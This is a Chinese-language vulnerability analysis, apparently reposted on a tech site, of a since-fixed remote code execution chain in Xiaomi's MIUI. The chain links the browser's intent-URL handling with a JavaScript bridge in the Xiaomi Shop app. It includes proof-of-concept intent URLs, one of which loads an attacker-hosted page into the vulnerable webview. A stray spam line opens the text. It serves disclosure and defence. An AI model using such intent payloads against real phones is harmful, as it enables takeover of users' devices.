自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

小米手機MIUI遠程代碼執(zhí)行漏洞分析

安全 漏洞 終端安全
7月筆者在研究webview漏洞時專門挑小米手機的MIUI測試了下,發(fā)現(xiàn)了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權(quán)限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。

7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發(fā)現(xiàn)了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權(quán)限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發(fā)現(xiàn)的第一時間,我已經(jīng)將漏洞細節(jié)報告給了小米安全響應中心,目前漏洞已經(jīng)修復。

[[118885]]

測試環(huán)境:

手機型號:MI 3

Android版本:4.2.1 JOP40D

MIUI版本:MIUI-JXCCNBE21

內(nèi)核版本:3.4.35-ga656ab9

一. 小米MIUI原生瀏覽器存在意圖協(xié)議安全問題

在使用小米原生瀏覽器的時候我發(fā)現(xiàn)MIUI定制了網(wǎng)絡異常頁面, 如當前url不能訪問或網(wǎng)絡異常會跳轉(zhuǎn)到定制的網(wǎng)頁,通過點擊網(wǎng)頁中的鏈接可以直接進入WIFI的設置界面。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

根據(jù)我以往的經(jīng)驗,APP要在靜態(tài)網(wǎng)頁中實現(xiàn)進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調(diào)用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協(xié)議URL),通過解析特定格式的URL直接向系統(tǒng)發(fā)送意圖。

測試過后,果然發(fā)現(xiàn)小米瀏覽器完全支持意圖協(xié)議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統(tǒng)發(fā)起意圖,啟動本地的日歷APP

intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

小米手機MIUI遠程代碼執(zhí)行漏洞分析

我再翻閱了一下google官方framework中intent的源代碼:

/platform/frameworks/base/+/core/java/android/content/Intent.java

3966行的Intent.parseUri定義

  1. if (uri.startsWith("S.", i)) b.putString(key, value);  
  2. else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));  
  3. else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));  
  4. else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));  
  5. else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));  
  6. else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));  
  7. else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));  
  8. else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));  
  9. else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));  
  10. else throw new URISyntaxException(uri, "unknown EXTRA type", i); 

可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協(xié)議地址向本地任意APP發(fā)送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。

二.小米商店存在webview遠程代碼執(zhí)行漏洞

順著第一部分的思路,我開始審計MIUI系統(tǒng)中預裝和內(nèi)置的APP,希望能發(fā)現(xiàn)被遠程利用的漏洞。在自動漏洞掃描中,我發(fā)現(xiàn)小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執(zhí)行漏洞。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

于是我針對這個APP進行了逆向分析,發(fā)現(xiàn)了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數(shù)能夠被外部調(diào)用加載任意的網(wǎng)頁。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

同時我發(fā)現(xiàn)了該組件關聯(lián)的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

根據(jù)逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結(jié)合第一部分小米瀏覽器的意圖協(xié)議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網(wǎng)頁調(diào)用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權(quán)限執(zhí)行任意的命令和JAVA代碼

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;
S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;
end

三. 安全建議.

安卓開發(fā)者在注意用戶體驗的開發(fā)同時也應該關注安全,因為某個APP的易用功能而導致整個系統(tǒng)的安全性大打折扣就得不償失了。

本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網(wǎng)頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據(jù)了解小米官方已經(jīng)修復了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。

參考:

[1]https://github.com/android/platform_frameworks_base/blob/master/core/java/android/content/Intent.java

[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4710

原文地址:http://blogs.#/360mobile/2014/08/25/miui-rce-vul/

責任編輯:藍雨淚 來源: 博客
相關推薦

2015-06-18 10:49:31

2020-10-08 13:44:27

漏洞

2017-08-22 13:45:27

2017-05-25 22:20:05

2021-01-26 10:00:45

漏洞網(wǎng)絡安全網(wǎng)絡攻擊

2015-03-06 15:31:01

2016-09-29 14:37:39

ImageMagick漏洞分析

2011-08-16 17:05:35

2017-05-27 10:22:37

2019-05-15 15:20:01

微軟漏洞防護

2011-08-04 13:53:04

2014-09-12 17:47:36

2015-04-30 08:11:40

2023-12-14 16:20:09

2014-10-29 15:44:55

2017-06-15 17:28:36

2020-10-19 10:43:49

漏洞

2017-08-15 17:39:52

2010-01-26 11:12:09

2015-04-16 09:49:04

點贊
收藏

51CTO技術(shù)棧公眾號